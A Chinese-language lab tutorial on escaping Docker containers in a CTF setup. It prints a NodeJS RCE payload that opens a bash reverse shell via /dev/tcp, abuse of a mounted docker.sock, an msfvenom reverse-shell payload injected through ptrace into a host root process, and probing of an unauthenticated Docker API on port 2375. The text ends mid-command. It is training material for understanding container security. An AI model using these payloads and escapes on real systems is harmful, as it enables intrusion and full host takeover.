一、攻击Docker容器-场景
在上一篇文章中攻击和审计Docker容器01,介绍了Docker容器的基础知识,在本篇文章中,我们将介绍通过攻击容器从而访问主机的系统,数据和资源。
主要有以下几种攻击场景:
1、攻击容器的Capabilities(Capability 能力限制)
2、攻击不安全的数据卷挂载
3、攻击运行环境的错误配置
4、利用docker secrets 错误配置
什么是Docker Escape
?
通过利用Docker
漏洞,弱点使攻击者能够绕过容器运行时的各种限制获取主机的权限、数据和资源。
如果攻击者能够在容器内执行任意命令,并且能够在主机上访问资源或执行命令,而不受容器命名空间的限制,则会产生逃逸。
在本节中,我们假设攻击者已经通过利用部署在容器内应用的某些漏洞获取了在容器内执行命令的权限。
二、攻击场景一:不安全的数据卷挂载
在这个场景中,我们将利用NodeJS
应用,使用远程代码执行漏洞来获取反向shell,然后通过挂载的docker.sock
数据卷获得宿主机权限。
应用程序运行在 CTF-VM
上,可以通过http://CTF-VMIP
访问
此NodeJS
应用的q
参数在GET
方法中存在远程代码执行攻击漏洞。使用http://CTF-VMIP/?q="docker"
访问。
通过这个,我们可以获得一个反弹shell,payload如下:
require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/studentVMIP/5555 0>%261"')
在studentVM
上开启一个监听
student@debian:~$ nc -lvp 5555
Listening on [0.0.0.0] (family 0, port 5555)
执行payload
http://CTF-VMIP/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/studentVMIP/5555 0>%261"')
在studentVM
上就能得到一个反弹的shell
student@debian:~$ nc -lvp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [192.168.224.129] port 5555 [tcp/*] accepted (family 2, sport 49614)
bash: cannot set terminal process group (15): Inappropriate ioctl for device
bash: no job control in this shell
root@9c87389b1761:/usr/src/app
我们已经获得了容器的shell
student@debian:~$ nc -lvp 5555
Listening on [0.0.0.0] (family 0, port 5555)
Connection from [192.168.224.129] port 5555 [tcp/*] accepted (family 2, sport 49614)
bash: cannot set terminal process group (15): Inappropriate ioctl for device
bash: no job control in this shell
root@9c87389b1761:/usr/src/app
id
uid=0(root) gid=0(root) groups=0(root)
root@9c87389b1761:/usr/src/app
查看dockser.sock
挂载的情况
root@9c87389b1761:/usr/src/app
ls -l /var/run/docker.sock
srw-rw---- 1 root 999 0 Nov 14 16:44 /var/run/docker.sock
root@9c87389b1761:/usr/src/app
我们可以看到宿主机的docker.sock
被挂载到了容器里面。
这使得攻击者能够通过UNIX
套接字使用docker客户端调用主机上的选项访问宿主机的docker服务。
docker客户端已经下载到容器中,位于/root/docker
root@9c87389b1761:/usr/src/app
cd /root/docker
root@9c87389b1761:~/docker
ls -l
total 143500
-rwxr-xr-x 1 node node 37579846 Jul 18 2018 docker
-rwxr-xr-x 1 node node 26385560 Jul 18 2018 docker-containerd
-rwxr-xr-x 1 node node 14725592 Jul 18 2018 docker-containerd-ctr
-rwxr-xr-x 1 node node 4173632 Jul 18 2018 docker-containerd-shim
-rwxr-xr-x 1 node node 764144 Jul 18 2018 docker-init
-rwxr-xr-x 1 node node 2837280 Jul 18 2018 docker-proxy
-rwxr-xr-x 1 node node 7495056 Jul 18 2018 docker-runc
-rwxr-xr-x 1 node node 52969368 Jul 18 2018 dockerd
root@9c87389b1761:~/docker
使用UNIX
套接字访问主机资源:
root@9c87389b1761:~/docker
./docker -H unix:///var/run/docker.sock ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
9c87389b1761 appsecco/node-simple-rce "pm2 start app.js --…" 15 months ago Up 12 hours 0.0.0.0:80->8080/tcp nodeapp
fefeff8e1078 sysmon "top" 15 months ago Up 12 hours sysmon
root@9c87389b1761:~/docker
root@9c87389b1761:~/docker
./docker -H unix:///var/run/docker.sock images
REPOSITORY TAG IMAGE ID CREATED SIZE
sysmon latest e9d165cf1cd6 15 months ago 139MB
ubuntu latest 735f80812f90 15 months ago 83.5MB
alpine latest 11cd0b38bc3c 16 months ago 4.41MB
appsecco/node-simple-rce latest da4154bb4bcf 2 years ago 253MB
appsecco/dsvw ccc88f3dc27d 2 years ago 48.2MB
root@9c87389b1761:~/docker
可以看到,我们拥有了对宿主机的权限。
三、理解命名空间
3.1 Namespaces
Docker
使用Linux
命名空间为容器提供隔离的运行环境。在容器运行时,Docker
将为该容器创建一组命名空间。它会创建六种namespace
,然后把容器内的所有进程放到这些namespace
中。
1、PID namespace:进程ID空间
2、NET namespace:网络相关资源,管理网络
3、IPC namespace:特定进程间的通信资源空间,管理对IPC资源的访问
4、MNT namespace:管理文件系统挂载点
5、UTS namespace:每个容器可以有自己的hostname和domainname
6、USER namespace:用户和组ID空间
3.2 Namespace 演示
student@debian:~$ docker run --rm -d alpine sleep 111
66f01491cd2c724226dd4f879a4dc56c77bfa9af999eca5926c4cf88fa309704
student@debian:~$ ps aux | grep 'sleep 111'
root 6674 0.0 0.0 1516 4 ? Ss 10:55 0:00 sleep 111
student 6721 0.0 0.1 14224 1092 pts/1 S+ 10:56 0:00 grep --color=auto sleep 111
student@debian:~$ sudo ls /proc/6674/ns/
cgroup ipc mnt net pid user uts
student@debian:~$
3.3 PID namespace
PID namespace
隔离进程ID空间,这样不同的PID命名空间中的进程可以具有相同的PID
PID namespace
允许容器提供暂停/恢复容器中一组进程以及将容器迁移到新主机而容器中的进程保持同的PID等功能
比如,当我们运行一个 nginx 容器,nginx进程在容器内的PID 总是 1,但在主机上的PID是不同的,比如 2198
示例:
student@debian:~$ docker run --rm --name=samplewebapp1 -d nginx:alpine
230d2d9b384642087f7a14ded23cf524908d84b68da47ae0091812dfc9a175af
student@debian:~$ ps auxxx | grep nginx
root 6899 0.3 0.3 13804 3776 ? Ss 11:09 0:00 nginx: master process nginx -g daemon off;
systemd+ 6939 0.0 0.1 14260 1824 ? S 11:09 0:00 nginx: worker process
student 6941 0.0 0.0 14224 968 pts/1 S+ 11:09 0:00 grep --color=auto nginx
student@debian:~$ docker exec -it samplewebapp1 sh
/
1 root 0:00 nginx: master process nginx -g daemon off;
6 nginx 0:00 nginx: worker process
13 root 0:00 grep nginx
/
student@debian:~$ docker run --rm --name=samplewebapp2 -d nginx:alpine
3e461d4c687914e06c790f0160420da068384b41b4fc57b3b54ecaf7becf3d12
student@debian:~$ ps auxxx | grep nginx
root 6899 0.0 0.3 13804 3776 ? Ss 11:09 0:00 nginx: master process nginx -g daemon off;
systemd+ 6939 0.0 0.1 14260 1824 ? S 11:09 0:00 nginx: worker process
root 7067 1.0 0.3 13804 3400 ? Ss 11:10 0:00 nginx: master process nginx -g daemon off;
systemd+ 7109 0.0 0.1 14260 1944 ? S 11:10 0:00 nginx: worker process
student 7116 0.0 0.0 14224 1012 pts/1 S+ 11:10 0:00 grep --color=auto nginx
student@debian:~$ docker exec -it samplewebapp2 sh
/
1 root 0:00 nginx: master process nginx -g daemon off;
6 nginx 0:00 nginx: worker process
13 root 0:00 grep nginx
/
可以看到两个进程在主机中具有不同的PID
,但在容器中都使用了PID 1
3.4 附加主机进程到容器中
我们可以使用--pid
参数将主机进程空间或者其他容器的进程空间附加到容器中。
四、理解Capabilities
Linux Capabilities
可以提供二进制程序运行时更详细的访问控制。比如允许非root进程绑定1024以下的低位端口。比如Web服务器不需要以Root身份运行,只需要授予它们net_bind_service
能力即可。
从2.2版本的内核开始,Linux将传统上与超级用户相关的特权化为不同的单元,称为capabilities
,可以独立的启用和禁用。
4.1 Capabilities 演示
1、运行一个ping 命令容器
student@debian:~$ docker run --rm -it alpine sh
/
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.068 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.070 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.068/0.069/0.070 ms
/
2、现在我们移除CAP_NET_RAW
能力,再运行试试
student@debian:~$ docker run --rm -it --cap-drop=NET_RAW alpine sh
/
PING 127.0.0.1 (127.0.0.1): 56 data bytes
ping: permission denied (are you root?)
/
可以看到提示权限限制。
4.2 检查 capabilities
list
命令:capsh --print
student@debian:~$ docker run --rm -it 71aa5f3f90dc bash
root@57f97d01c14d:/# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
root@57f97d01c14d:/#
4.3 以完全特权模式运行容器
student@debian:~$ docker run --rm -it --privileged=true 71aa5f3f90dc bash
root@743a6ea4ae16:/# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
root@743a6ea4ae16:/#
可以使用 more /dev/kmsg
从特权容器访问主机设备
root@743a6ea4ae16:/
6,0,0,-;Initializing cgroup subsys cpuset
6,1,0,-;Initializing cgroup subsys cpu
6,2,0,-;Initializing cgroup subsys cpuacct
5,3,0,-;Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-
6ubuntu1~16.04.9) )
6,4,0,-;Command line: BOOT_IMAGE=/boot/vmlinuz-4.4.0-116-generic root=UUID=a1e18847-a1b7-4f44-b363-8595dc8d
140e ro
6,5,0,-;KERNEL supported cpus:
6,6,0,-; Intel GenuineIntel
6,7,0,-; AMD AuthenticAMD
6,8,0,-; Centaur CentaurHauls
6,9,0,-;Disabled fast string operations
/dev/kmsg
这个字符设备节点向用户空间的程序提供了访问内核printk缓冲器的接口
五、攻击场景二:容器 Capabilities
在这个场景中,我们将利用使用主机pid namespace
运行且具有sys_ptrace
能力的容器,我们假设攻击者已经可以访问容器了,我们将利用这些漏洞入侵容器并访问宿主机系统资源。
5.1 登录到CTF-VM
执行如下命令进入容器中
ctf@debian:~$ docker exec -it sysmon bash
root@fefeff8e1078:/
uid=0(root) gid=0(root) groups=0(root)
root@fefeff8e1078:/
5.2 检查能力列表
root@fefeff8e1078:/# capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
root@fefeff8e1078:/#
5.3 查看主机进程
容器还启用了pid=host
,这样的话,我们可以使用top
命令查看宿主机的进程
因为攻击者可以查看主机进程并具有sys_ptrace
能力。攻击者可以利用这点从任意主机进程的地址空间注入或执行代码。
因为攻击者可以在容器外执行代码,所以导致了docker逃逸。
5.4 攻击步骤
1、使用msfvenom
生成一个反弹shell payload。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=student-VMIP LPORT=4444 -f raw -o payload.bin
student@debian:~$ cd /home/student/linux-injector/
student@debian:~/linux-injector$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.224.128 LPORT=4444 -f raw -o payload.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 74 bytes
Saved as: payload.bin
student@debian:~/linux-injector$
2、使用python启动一个web服务器传送我们的payload
student@debian:~$ cd /home/student/
student@debian:~$ tar -czf linux-injector.tar.gz linux-injector
student@debian:~$ python -m SimpleHTTPServer 8002
Serving HTTP on 0.0.0.0 port 8002 ...
3、在CTF-VM
中下载payload
root@fefeff8e1078:/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 129k 100 129k 0 0 11.5M 0 --:--:-- --:--:-- --:--:-- 12.6M
root@fefeff8e1078:/
root@fefeff8e1078:/
root@fefeff8e1078:/linux-injector
root@fefeff8e1078:/linux-injector
4、在student-VM
中执行nc
开启端口监听
student@debian:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
5、现在在CTF-VM
的容器中,找一个具有root权限的宿主机进程进行注入,把payload注入进去。
root@fefeff8e1078:/linux-injector# ps -auxxx | grep root | grep ping
root 692 0.0 0.3 53728 3292 ? Ss Nov14 0:00 /usr/bin/sudo /bin/ping 127.0.0.1
root 732 0.0 0.0 6536 736 ? S Nov14 0:04 /bin/ping 127.0.0.1
root 3888 0.0 0.1 11464 1104 pts/1 S+ 06:41 0:00 grep --color=auto ping
root@fefeff8e1078:/linux-injector# ./injector 732 payload.bin
Injecting into target process 732
[*] [inject_code] Attached to process
[*] [wait_stopped] Process stopped with signal 19
[*] [inject_code] Process is in stopped state
[*] [wait_stopped] Process stopped with signal 5
[*] [ptrace_next_syscall] EAX after syscall: -38
[*] [wait_stopped] Process stopped with signal 5
[*] [ptrace_next_syscall] EAX after syscall: 0
[*] [inject_code] Process exited from syscall
[*] [_save_state] Saved registers
[*] [_save_state] Saved 128 bytes from EIP 0x15479e0
[*] [inject_code] Saved state of target process
[*] [_mmap_data] Wrote our shellcode parameters into process registers
[*] [_mmap_data] Wrote mmap code to EIP 0x7efccc8ab730
[*] [ptrace_continue] Continuing execution of target process 732
[*] [_wait_trap] Process stopped with signal 5
[*] [_mmap_data] Mmap() finished execution
[*] [_mmap_data] Mmap() returned 0x7efcccfa4000
[*] [_mmap_data] Restored registers of target process
[*] [inject_code] Allocated space for payload at location 0x7efcccfa4000
[*] [inject_code] Wrote payload to target process at address 0x7efcccfa4000
[*] [_mmap_data] Wrote our shellcode parameters into process registers
[*] [_mmap_data] Wrote mmap code to EIP 0x7efccc8ab730
[*] [ptrace_continue] Continuing execution of target process 732
[*] [_wait_trap] Process stopped with signal 5
[*] [_mmap_data] Mmap() finished execution
[*] [_mmap_data] Mmap() returned 0x7efcccfa3000
[*] [_mmap_data] Restored registers of target process
[*] [inject_code] Allocated new stack at location 0x7efcccfa4000
[*] [_mmap_data] Wrote our shellcode parameters into process registers
[*] [_mmap_data] Wrote mmap code to EIP 0x7efccc8ab730
[*] [ptrace_continue] Continuing execution of target process 732
[*] [_wait_trap] Process stopped with signal 5
[*] [_mmap_data] Mmap() finished execution
[*] [_mmap_data] Mmap() returned 0x7efcccfa2000
[*] [_mmap_data] Restored registers of target process
[*] [inject_code] Allocated space for code cave at location 0x7efcccfa2000
[*] [inject_code] Launching payload in new thread
[*] [_launch_payload] Wrote our shellcode parameters into process registers. EIP: 0x7efcccfa2000
[*] [_launch_payload] Wrote clone trampoline code to address 0x7efcccfa2000
[*] [ptrace_continue] Continuing execution of target process 732
[*] [_wait_trap] Process stopped with signal 5
[*] [_launch_payload] Clone() finished execution
[*] [_launch_payload] New thread ID: 3890
[*] [_launch_payload] Successfully launched payload
[*] [_restore_state] Restored registers
[*] [_restore_state] Restored 128 bytes to EIP 0x15479e0
Code injection successful
root@fefeff8e1078:/linux-injector#
6、看到注入成功了,回到student-VM
中,可以看到获得了一个shell
student@debian:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [192.168.224.129] port 4444 [tcp/*] accepted (family 2, sport 36060)
id
uid=0(root) gid=0(root) groups=0(root)
ip addr
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:d1:0c:e8 brd ff:ff:ff:ff:ff:ff
inet 10.1.1.146/24 brd 10.1.1.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fed1:ce8/64 scope link
valid_lft forever preferred_lft forever
3: ens34: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:d1:0c:f2 brd ff:ff:ff:ff:ff:ff
inet 192.168.224.129/24 brd 192.168.224.255 scope global ens34
valid_lft forever preferred_lft forever
inet6 fe80::20c:29ff:fed1:cf2/64 scope link
valid_lft forever preferred_lft forever
cat /root/flag.txt
Congratulations! You escaped Docker container
六、攻击场景三:利用docker错误配置
在这个场景中,docker错误的配置了docker远程API端口2375
的访问。我们将利用它获取主机的权限、访问其他容器和镜像。
Docker daemon 可以通过三种不同类型的套接字:unix
、tcp
、fd
来侦听docker
引擎的API
请求。如果想通过远程访问,需要启用tcp
套接字。默认情况下,docker remote api
使用的端口2375
提供未加密和未授权的方式直接访问docker daemon
。如果要配置加密访问则使用端口2376
6.1 扫描端口
在student-VM
上使用nmap
扫描目标端口
student@debian:~$ nmap -p 2375,2376 -n 192.168.224.129 -v
Starting Nmap 7.01 ( https://nmap.org ) at 2019-11-15 12:34 IST
Initiating Ping Scan at 12:34
Scanning 192.168.224.129 [2 ports]
Completed Ping Scan at 12:34, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 12:34
Scanning 192.168.224.129 [2 ports]
Discovered open port 2375/tcp on 192.168.224.129
Completed Connect Scan at 12:34, 0.00s elapsed (2 total ports)
Nmap scan report for 192.168.224.129
Host is up (0.00032s latency).
PORT STATE SERVICE
2375/tcp open docker
2376/tcp closed docker
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds
student@debian:~$
可以看到目标的2375
端口是开放的。
6.2 查询docker api
student@debian:~$ curl 192.168.224.129:2375/images/json | jq .
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1686 100 1686 0 0 143k 0 --:--:-- --:--:-- --:--:-- 149k
[
{
"Containers": -1,
"Created": 1533141463,
"Id": "sha256:e9d165cf1cd65ab81f8fa04abcb19700040081fcaa4aef7eb20dcc96a4ce3bba",
"Labels": {
"MAINTAINER": "Madhu Akula"
},
"ParentId": "sha256:d980faf456051587396f00a5d318fa2715e739dde263d313117a8adfd2e52e02",
"RepoDigests": null,
"RepoTags": [
6.3 管理远程主机上的docker
student@debian:~$ docker -H tcp:
student@debian:~$ docker -H tcp: